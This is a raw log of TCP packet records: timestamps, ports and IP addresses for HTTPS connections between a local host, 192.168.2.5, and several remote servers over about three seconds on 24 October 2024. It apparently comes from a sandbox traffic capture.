Oct 24, 2024 22:09:28.480264902 CEST	443	49720	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:28.480304956 CEST	443	49720	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:28.480314970 CEST	443	49720	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:28.480340958 CEST	443	49720	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:28.480354071 CEST	443	49720	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:28.480360985 CEST	443	49720	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:28.480402946 CEST	49720	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:28.480437040 CEST	443	49720	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:28.480453968 CEST	49720	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:28.480480909 CEST	49720	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:28.480619907 CEST	443	49720	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:28.480673075 CEST	49720	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:28.480678082 CEST	443	49720	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:28.480696917 CEST	443	49720	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:28.480711937 CEST	49720	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:28.480755091 CEST	49720	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:28.483933926 CEST	49720	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:28.483948946 CEST	443	49720	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:28.503634930 CEST	49726	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:28.503685951 CEST	443	49726	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:28.503751993 CEST	49726	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:28.513845921 CEST	49726	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:28.513871908 CEST	443	49726	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:28.558279991 CEST	443	49721	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:28.558470964 CEST	443	49721	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:28.558691025 CEST	49721	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:28.564802885 CEST	49721	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:28.564843893 CEST	443	49721	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:28.586404085 CEST	443	49722	185.23.253.5	192.168.2.5
Oct 24, 2024 22:09:28.586479902 CEST	443	49722	185.23.253.5	192.168.2.5
Oct 24, 2024 22:09:28.586499929 CEST	443	49722	185.23.253.5	192.168.2.5
Oct 24, 2024 22:09:28.586555004 CEST	49722	443	192.168.2.5	185.23.253.5
Oct 24, 2024 22:09:28.586596012 CEST	443	49722	185.23.253.5	192.168.2.5
Oct 24, 2024 22:09:28.586661100 CEST	49722	443	192.168.2.5	185.23.253.5
Oct 24, 2024 22:09:28.633584023 CEST	49722	443	192.168.2.5	185.23.253.5
Oct 24, 2024 22:09:28.652926922 CEST	49727	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:28.652985096 CEST	443	49727	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:28.653048038 CEST	49727	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:28.653436899 CEST	49727	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:28.653454065 CEST	443	49727	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:28.667167902 CEST	49728	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:28.667203903 CEST	443	49728	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:28.667335987 CEST	49728	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:28.667505026 CEST	49728	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:28.667516947 CEST	443	49728	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:28.679366112 CEST	49729	443	192.168.2.5	184.28.90.27
Oct 24, 2024 22:09:28.679388046 CEST	443	49729	184.28.90.27	192.168.2.5
Oct 24, 2024 22:09:28.679454088 CEST	49729	443	192.168.2.5	184.28.90.27
Oct 24, 2024 22:09:28.680340052 CEST	49729	443	192.168.2.5	184.28.90.27
Oct 24, 2024 22:09:28.680354118 CEST	443	49729	184.28.90.27	192.168.2.5
Oct 24, 2024 22:09:28.703677893 CEST	443	49722	185.23.253.5	192.168.2.5
Oct 24, 2024 22:09:28.703702927 CEST	443	49722	185.23.253.5	192.168.2.5
Oct 24, 2024 22:09:28.703733921 CEST	443	49722	185.23.253.5	192.168.2.5
Oct 24, 2024 22:09:28.703756094 CEST	49722	443	192.168.2.5	185.23.253.5
Oct 24, 2024 22:09:28.703795910 CEST	49722	443	192.168.2.5	185.23.253.5
Oct 24, 2024 22:09:28.704747915 CEST	443	49722	185.23.253.5	192.168.2.5
Oct 24, 2024 22:09:28.704766989 CEST	443	49722	185.23.253.5	192.168.2.5
Oct 24, 2024 22:09:28.704812050 CEST	49722	443	192.168.2.5	185.23.253.5
Oct 24, 2024 22:09:28.704862118 CEST	49722	443	192.168.2.5	185.23.253.5
Oct 24, 2024 22:09:28.821239948 CEST	443	49722	185.23.253.5	192.168.2.5
Oct 24, 2024 22:09:28.821263075 CEST	443	49722	185.23.253.5	192.168.2.5
Oct 24, 2024 22:09:28.821316957 CEST	49722	443	192.168.2.5	185.23.253.5
Oct 24, 2024 22:09:28.821358919 CEST	49722	443	192.168.2.5	185.23.253.5
Oct 24, 2024 22:09:28.821769953 CEST	443	49722	185.23.253.5	192.168.2.5
Oct 24, 2024 22:09:28.821831942 CEST	49722	443	192.168.2.5	185.23.253.5
Oct 24, 2024 22:09:28.821841002 CEST	443	49722	185.23.253.5	192.168.2.5
Oct 24, 2024 22:09:28.821918964 CEST	443	49722	185.23.253.5	192.168.2.5
Oct 24, 2024 22:09:28.821980000 CEST	49722	443	192.168.2.5	185.23.253.5
Oct 24, 2024 22:09:28.821990013 CEST	443	49722	185.23.253.5	192.168.2.5
Oct 24, 2024 22:09:28.822005033 CEST	49722	443	192.168.2.5	185.23.253.5
Oct 24, 2024 22:09:28.822074890 CEST	49722	443	192.168.2.5	185.23.253.5
Oct 24, 2024 22:09:28.822098017 CEST	49722	443	192.168.2.5	185.23.253.5
Oct 24, 2024 22:09:28.863217115 CEST	49715	443	192.168.2.5	4.175.87.197
Oct 24, 2024 22:09:28.907339096 CEST	443	49715	4.175.87.197	192.168.2.5
Oct 24, 2024 22:09:29.079083920 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:29.079154015 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:29.081821918 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:29.081831932 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:29.082063913 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:29.095060110 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:29.135340929 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:29.203825951 CEST	443	49725	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:29.204118967 CEST	49725	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:29.204133987 CEST	443	49725	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:29.207698107 CEST	443	49725	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:29.207799911 CEST	49725	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:29.208127975 CEST	49725	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:29.208307981 CEST	443	49725	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:29.209233999 CEST	49725	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:29.209244013 CEST	443	49725	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:29.257339954 CEST	49725	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:29.259108067 CEST	443	49726	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:29.259454966 CEST	49726	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:29.259486914 CEST	443	49726	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:29.260616064 CEST	443	49726	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:29.260998011 CEST	49726	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:29.261163950 CEST	49726	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:29.261173010 CEST	443	49726	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:29.261204004 CEST	443	49726	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:29.303431034 CEST	49726	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:29.337924004 CEST	443	49725	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:29.338068962 CEST	443	49725	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:29.338237047 CEST	49725	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:29.338958979 CEST	49725	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:29.338973045 CEST	443	49725	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:29.349848986 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:29.349910975 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:29.349953890 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:29.350004911 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:29.350058079 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:29.350090981 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:29.350111008 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:29.410012960 CEST	443	49728	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:29.410408974 CEST	49728	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:29.410433054 CEST	443	49728	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:29.411947012 CEST	443	49728	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:29.412023067 CEST	49728	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:29.412697077 CEST	49728	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:29.412777901 CEST	443	49728	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:29.413057089 CEST	49728	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:29.413069963 CEST	443	49728	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:29.414455891 CEST	443	49727	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:29.414911985 CEST	49727	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:29.414930105 CEST	443	49727	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:29.418562889 CEST	443	49727	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:29.418682098 CEST	49727	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:29.418931961 CEST	49727	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:29.419080973 CEST	49727	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:29.419106960 CEST	443	49727	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:29.436662912 CEST	443	49715	4.175.87.197	192.168.2.5
Oct 24, 2024 22:09:29.436693907 CEST	443	49715	4.175.87.197	192.168.2.5
Oct 24, 2024 22:09:29.436703920 CEST	443	49715	4.175.87.197	192.168.2.5
Oct 24, 2024 22:09:29.436738014 CEST	443	49715	4.175.87.197	192.168.2.5
Oct 24, 2024 22:09:29.436755896 CEST	443	49715	4.175.87.197	192.168.2.5
Oct 24, 2024 22:09:29.436764956 CEST	49715	443	192.168.2.5	4.175.87.197
Oct 24, 2024 22:09:29.436775923 CEST	443	49715	4.175.87.197	192.168.2.5
Oct 24, 2024 22:09:29.436816931 CEST	443	49715	4.175.87.197	192.168.2.5
Oct 24, 2024 22:09:29.436855078 CEST	49715	443	192.168.2.5	4.175.87.197
Oct 24, 2024 22:09:29.436855078 CEST	49715	443	192.168.2.5	4.175.87.197
Oct 24, 2024 22:09:29.436855078 CEST	49715	443	192.168.2.5	4.175.87.197
Oct 24, 2024 22:09:29.436902046 CEST	49715	443	192.168.2.5	4.175.87.197
Oct 24, 2024 22:09:29.437643051 CEST	443	49715	4.175.87.197	192.168.2.5
Oct 24, 2024 22:09:29.437702894 CEST	49715	443	192.168.2.5	4.175.87.197
Oct 24, 2024 22:09:29.437717915 CEST	443	49715	4.175.87.197	192.168.2.5
Oct 24, 2024 22:09:29.458795071 CEST	49728	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:29.459223032 CEST	49727	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:29.459250927 CEST	443	49727	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:29.468477011 CEST	443	49726	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:29.468691111 CEST	443	49726	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:29.468761921 CEST	49726	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:29.469420910 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:29.469476938 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:29.469546080 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:29.469593048 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:29.469621897 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:29.469752073 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:29.471175909 CEST	49726	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:29.471198082 CEST	443	49726	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:29.491714954 CEST	49715	443	192.168.2.5	4.175.87.197
Oct 24, 2024 22:09:29.509059906 CEST	49727	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:29.539756060 CEST	443	49729	184.28.90.27	192.168.2.5
Oct 24, 2024 22:09:29.539841890 CEST	49729	443	192.168.2.5	184.28.90.27
Oct 24, 2024 22:09:29.560446978 CEST	443	49715	4.175.87.197	192.168.2.5
Oct 24, 2024 22:09:29.560501099 CEST	443	49715	4.175.87.197	192.168.2.5
Oct 24, 2024 22:09:29.560725927 CEST	49715	443	192.168.2.5	4.175.87.197
Oct 24, 2024 22:09:29.589044094 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:29.589087963 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:29.589179993 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:29.589238882 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:29.589274883 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:29.589519024 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:29.595091105 CEST	443	49728	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:29.595169067 CEST	443	49728	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:29.595768929 CEST	49728	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:29.600011110 CEST	49729	443	192.168.2.5	184.28.90.27
Oct 24, 2024 22:09:29.600023985 CEST	443	49729	184.28.90.27	192.168.2.5
Oct 24, 2024 22:09:29.600943089 CEST	443	49729	184.28.90.27	192.168.2.5
Oct 24, 2024 22:09:29.613075018 CEST	49734	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:29.613127947 CEST	443	49734	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:29.613229036 CEST	49734	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:29.614047050 CEST	49734	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:29.614074945 CEST	443	49734	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:29.620964050 CEST	49728	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:29.620991945 CEST	443	49728	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:29.646559000 CEST	49729	443	192.168.2.5	184.28.90.27
Oct 24, 2024 22:09:29.686758041 CEST	49729	443	192.168.2.5	184.28.90.27
Oct 24, 2024 22:09:29.690074921 CEST	49735	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:29.690104008 CEST	443	49735	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:29.690243006 CEST	49735	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:29.690476894 CEST	49735	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:29.690490961 CEST	443	49735	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:29.708760023 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:29.708808899 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:29.708853006 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:29.708880901 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:29.708909988 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:29.708931923 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:29.731338024 CEST	443	49729	184.28.90.27	192.168.2.5
Oct 24, 2024 22:09:29.828545094 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:29.828602076 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:29.828630924 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:29.828644037 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:29.828690052 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:29.891688108 CEST	443	49727	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:29.892224073 CEST	443	49727	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:29.892277956 CEST	443	49727	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:29.892441034 CEST	49727	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:29.912523031 CEST	49727	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:29.912553072 CEST	443	49727	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:29.930229902 CEST	443	49729	184.28.90.27	192.168.2.5
Oct 24, 2024 22:09:29.930356979 CEST	443	49729	184.28.90.27	192.168.2.5
Oct 24, 2024 22:09:29.930583000 CEST	49729	443	192.168.2.5	184.28.90.27
Oct 24, 2024 22:09:29.931041956 CEST	49729	443	192.168.2.5	184.28.90.27
Oct 24, 2024 22:09:29.931054115 CEST	443	49729	184.28.90.27	192.168.2.5
Oct 24, 2024 22:09:29.931202888 CEST	49729	443	192.168.2.5	184.28.90.27
Oct 24, 2024 22:09:29.931207895 CEST	443	49729	184.28.90.27	192.168.2.5
Oct 24, 2024 22:09:29.947758913 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:29.947808981 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:29.947850943 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:29.947869062 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:29.947899103 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:29.947920084 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:30.006989956 CEST	49738	443	192.168.2.5	184.28.90.27
Oct 24, 2024 22:09:30.007080078 CEST	443	49738	184.28.90.27	192.168.2.5
Oct 24, 2024 22:09:30.007278919 CEST	49738	443	192.168.2.5	184.28.90.27
Oct 24, 2024 22:09:30.007555962 CEST	49738	443	192.168.2.5	184.28.90.27
Oct 24, 2024 22:09:30.007591963 CEST	443	49738	184.28.90.27	192.168.2.5
Oct 24, 2024 22:09:30.067434072 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:30.067486048 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:30.067563057 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:30.067615032 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:30.067646027 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:30.067821980 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:30.187036037 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:30.187084913 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:30.187158108 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:30.187180996 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:30.187212944 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:30.187235117 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:30.187906981 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:30.187951088 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:30.188016891 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:30.188030958 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:30.188071966 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:30.188095093 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:30.307845116 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:30.307899952 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:30.307954073 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:30.308028936 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:30.308068991 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:30.308094025 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:30.355252981 CEST	443	49734	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:30.396123886 CEST	49734	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:30.427195072 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:30.427253008 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:30.427308083 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:30.427397013 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:30.427438974 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:30.427462101 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:30.435724020 CEST	443	49735	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:30.491554976 CEST	49735	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:30.546222925 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:30.546256065 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:30.546369076 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:30.546397924 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:30.546411991 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:30.546437025 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:30.590626001 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:30.590691090 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:30.590755939 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:30.590826988 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:30.590866089 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:30.590889931 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:30.605433941 CEST	49734	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:30.605453968 CEST	443	49734	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:30.605799913 CEST	443	49734	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:30.647953033 CEST	49734	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:30.666049957 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:30.666218996 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:30.666269064 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:30.666306019 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:30.676007032 CEST	49735	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:30.676026106 CEST	443	49735	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:30.676563025 CEST	443	49735	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:30.711740971 CEST	49734	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:30.711839914 CEST	443	49734	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:30.717719078 CEST	49735	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:30.719896078 CEST	49735	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:30.720012903 CEST	443	49735	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:30.728688002 CEST	49734	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:30.728733063 CEST	49735	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:30.771330118 CEST	443	49734	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:30.771378040 CEST	443	49735	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:30.817476988 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:30.817476988 CEST	49724	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:30.817559004 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:30.817590952 CEST	443	49724	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:30.856168985 CEST	443	49738	184.28.90.27	192.168.2.5
Oct 24, 2024 22:09:30.856245995 CEST	49738	443	192.168.2.5	184.28.90.27
Oct 24, 2024 22:09:30.869823933 CEST	443	49735	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:30.869903088 CEST	443	49735	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:30.869996071 CEST	49735	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:30.956554890 CEST	49738	443	192.168.2.5	184.28.90.27
Oct 24, 2024 22:09:30.956577063 CEST	443	49738	184.28.90.27	192.168.2.5
Oct 24, 2024 22:09:30.957422972 CEST	443	49738	184.28.90.27	192.168.2.5
Oct 24, 2024 22:09:30.969245911 CEST	49738	443	192.168.2.5	184.28.90.27
Oct 24, 2024 22:09:30.980051041 CEST	443	49734	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:30.980077982 CEST	443	49734	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:30.980084896 CEST	443	49734	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:30.980118990 CEST	443	49734	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:30.980129957 CEST	49734	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:30.980138063 CEST	443	49734	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:30.980148077 CEST	443	49734	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:30.980165958 CEST	443	49734	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:30.980205059 CEST	49734	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:30.980205059 CEST	49734	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:30.980223894 CEST	443	49734	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:30.980242014 CEST	49734	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:30.980266094 CEST	49734	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:30.981044054 CEST	49715	443	192.168.2.5	4.175.87.197
Oct 24, 2024 22:09:30.981060982 CEST	443	49715	4.175.87.197	192.168.2.5
Oct 24, 2024 22:09:30.981077909 CEST	49715	443	192.168.2.5	4.175.87.197
Oct 24, 2024 22:09:30.981085062 CEST	443	49715	4.175.87.197	192.168.2.5
Oct 24, 2024 22:09:30.988265038 CEST	49735	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:30.988286018 CEST	443	49735	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:30.998234034 CEST	49734	443	192.168.2.5	13.107.246.44
Oct 24, 2024 22:09:30.998240948 CEST	443	49734	13.107.246.44	192.168.2.5
Oct 24, 2024 22:09:31.007865906 CEST	49740	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.007914066 CEST	443	49740	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.007970095 CEST	49740	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.008074045 CEST	49741	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:09:31.008107901 CEST	443	49741	13.107.246.45	192.168.2.5
Oct 24, 2024 22:09:31.008157015 CEST	49741	443	192.168.2.5	13.107.246.45
